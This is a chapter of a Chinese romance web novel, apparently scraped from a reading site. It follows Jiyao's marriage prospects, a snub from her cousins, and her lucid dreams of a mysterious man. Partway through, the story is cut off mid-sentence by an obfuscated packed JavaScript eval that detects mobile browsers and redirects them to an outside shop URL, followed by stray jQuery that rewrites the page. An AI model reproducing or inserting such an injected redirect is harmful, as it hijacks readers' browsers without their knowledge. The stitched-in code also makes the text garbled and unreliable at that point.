忘梦丹不过消暑丸大小,通体雪白,闻着有股淡淡的清香。
“陛下,忘梦丹名为丹,实为药。每晚睡前服一粒,任何梦都无影无踪。”
这忘梦丹主治失眠噩梦,制作极为不易。若非遇上这事,云鹤道人也不愿轻易示人。
秦渊不置可否,只问:“没有别的办法?”
“改变入睡的时间、姿态、呼吸吐纳的方式,也能减少做梦。”见皇帝似乎有点兴趣,云鹤道人精神一振,忙详细解释。
道家精于吐纳呼吸之术,在睡功方面有极深的研究。云鹤道人细细道来,过得许久,才告退。
走出偏殿后,他长出一口气,擦了擦额头的汗。
忽的,云鹤道人脚步微顿,猛然想起一种情况。
但很快,他就又摇一摇头,不可能。
两人共梦,前例极少,而且陛下这情况也不太像。
24.入梦
秦渊没有用忘梦丹。
他召了太医院院使请平安脉,又令人细看那忘梦丹,确定无毒无害后,便先放置一边,只作备用。
在接下来的日子里,秦渊根据云鹤道人的建议,有意改变了入睡的时间、姿态,以及呼吸的方式。
可能这方法有用,他一连数日,都没做那怪梦。而且每次睡醒,心思清明,大有裨益。
寄瑶对此毫无所觉。
涉及风月的梦于她而言,虽然刺激,但到底有些麻烦,她不能天天做。
而且如今已是夏天,天长夜短,寄瑶睡得迟。怕次日没精神,她不好在夜间控梦太久,只偶尔在白天歇晌时玩一会儿。
这日,寄瑶又被祖父方尚书叫到了书房。
“你前几日不是同你四婶婶学画吗?怎么近来不去了?”见到孙女,方尚书直接问。
——他虽忙于政务,对于家中事情不太上心,但近来对这个孙女多了些关注,时不时地会让人留意一下。
寄瑶想了想,也不好袒露实情,只含糊道:“四婶有点忙,我画的不好……而且比起学画,我更喜欢看棋。”
“在我面前还要撒谎吗?”方尚书瞥了孙女一眼,神色淡淡,“说实话!”
看她这般言辞闪烁,想来必有隐情。
祖父目光如炬,寄瑶知道瞒不过,只得垂下脑袋,老老实实讲了当日之事。
方尚书听罢,立时皱了眉:“真是胡闹!哪有这样做人长辈的?只顾着那边的侄子,把这边的侄女置于何地?”
寄瑶心想,人有亲疏远近,这也正常。娘家侄子和夫家侄女,还是有差别的。
然而她说出口的却是:“可能四婶婶有她的考量……”
她在后宅生活,无父母依靠,一向老实安静,不同人刻意交好,也不同人为敌。自然也不能直接说长辈的不是。
方尚书轻哼了一声:“考量?什么考量?她那侄子什么样她不知道?”
那陈庆云人长得倒是挺精神,但二十几了连个秀才都没混到,文不成武不就的。也就陈家肯当成个宝。若真觉得是佳婿,怎么不敢光明正大来提亲?是怕被他一口回绝吗?
翁媳之间需要避嫌。若是老妻还在,方尚书定要让妻子私下教导老四媳妇。但老妻已经亡故,他一个做公爹的,自然也不好将儿媳叫过来训斥。只能让老四告诫他媳妇以后莫再插手寄瑶婚事了。
话锋一转,方尚书又道:“你那次不是说要长得好看的吗?我记得陈家小子长得就挺好看,怎么没同意?”
寄瑶抬眸,悄悄看了祖父一眼,小声道:“那也不能只要好看。再说,婚姻大事,还是要祖父做主的。”
方尚书嗤的笑了一声,心里稍稍舒坦一些。
这孩子,虽说不满意他先前挑的人选,但还是老老实实把决定大权交给了他。
方尚书没在这个问题上多纠缠,只挥一挥手:“好了,我知道了,你先回去吧。”
“是,孙女告退。”寄瑶施礼退下。
孙女走后,方尚书幽幽叹了口气,如今他还在尚书位置上,寄瑶的亲事就被人看轻。将来等他致仕,还不知道怎么样呢。
原本想着她年岁不大,可以慢慢挑选,甚至可以等到春闱过后。可如今先是温家那边轻贱,后是自家人搞小动作。
看来得尽快帮寄瑶选婿了。
只有订下婚约,才能杜绝旁人的各种心思。
可是,选谁呢?
方尚书双手负后,细细思索:寄瑶虽有叔伯,但无亲父兄扶持。偏生她又重相貌,那只能选家世不显、人品端正、虽现下蛰伏但将来大有可为的俊秀良才。
这么一想,方尚书脑海里还真浮现出几个比较符合的人选。
……
离开书房,寄瑶没有直接回海棠院,而是先去了荷塘边。
满池荷叶,碧绿一片。偶尔有一两个小荷,尖尖的冒出了头。
来得有点早了,寄瑶心下遗憾,顺手捡了两片干净的荷叶回去。
才行几步,迎面遇上了四姑娘品瑶和五姑娘千瑶。
寄瑶笑了笑:“四妹妹,五……”
不料,这姐妹两人竟似没看到她一般,对视一眼,折道往旁边行去。
寄瑶心下讪讪,脸颊也腾地红了。
这个时候,她脑海里生出的第一个念头居然是:还好是夏天,没人知道她脸红是因为热,还是因为尴尬。
为掩饰尴尬,寄瑶用荷叶当扇子随手扇了扇风。
可惜荷叶软软的,并不结实,她稍一用力,就破了。
看着手里破裂的荷叶,寄瑶叹一口气。
其实她性子内敛,和四妹妹、五妹妹都不算很亲近。但一家子姐妹,平时面子上过得去。见面也总点头问好。这样直接无视她,还是第一次。
因为她不答应和陈庆云的亲事,所以这两个堂妹也恼了她?
可是前两天在女学不是还好好的?
寄瑶想不明白,她站在原地,盯着破了的荷叶怔怔出神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122401|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
突然,一个熟悉的声音响起:“二表姐,吃杏子不吃?”
寄瑶抬头看去,赫然是表弟赵金德。
十三岁的少年正向这边走来。而在他身后不远处,是他的表哥陆鸣。陆鸣提着一个不大的、用柳条编织的篮子,里面盛满了黄澄澄的杏子。
陆鸣冲赵金德使了个眼色,赵金德会意,抓了一把杏子递给寄瑶。
“表姐,你尝尝。”
寄瑶只接了两个,好奇地问:“哪来的杏儿?”
“这你别管,反正不是偷来的,也不是抢来的。”赵金德说话间,自己拿起一个杏子咬了一口,随即整张脸便皱到了一起。
那模样太过滑稽,寄瑶有点想笑,又觉得此时笑实在太不厚道,只得硬生生忍住。
却见赵金德突然做个鬼脸:“骗你的,其实杏子可甜了。”
“甜吗?”寄瑶瞪圆了一双眼睛,又看看手里的杏子,也不知道表弟哪一句真哪一句假。
“甜。”一旁的陆鸣忽然开口,状似漫不经心,“其实一家人拌嘴是常有的事,不必介怀。”
“就是,有时候我姐也生我气,很快就和好了。”赵金德附和。
寄瑶一怔,随即反应过来,这是在宽慰自己。
大概他们看到了方才她和堂妹们的那一幕。
她本要解释自己没有很介怀,但又觉得此事细说起来有点麻烦,干脆只轻“嗯”一声,道一句:“多谢,我知道。”
赵金德嘻嘻一笑。
陆鸣也勾了勾唇角。
天热,寄瑶匆匆与二人告别,拿着他们所赠的杏子回到海棠院,与双喜清洗后分食。
吃了杏子,又喝一碗荷叶粥。寄瑶的那一点点坏心情几乎消失殆尽,取而代之的是浓浓的困意。
简单洗漱后,寄瑶便去歇晌。
帐内安安静静,偶尔能听到外面蝉鸣的声音。
躺在床上,寄瑶思绪起伏,越想越远。一开始还在想两个堂妹的古怪态度,后来不知怎么就想到杏子,想到樱桃……想到好几夜不曾梦见的郎君。
是了,郎君,怎么把他给忘了?
这回梦里就要找他。
寄瑶渐渐睡沉,不知不觉又进入了梦中。
夏日炎炎,睡梦中也有些燥热。
寄瑶心念一动:出来,郎君出来,出来的时候给我带一份樱桃冰酪。
下一瞬,她便看见轻薄的纱帐掀开,郎君手持冰酪站在床侧,衣领微敞,目光沉沉。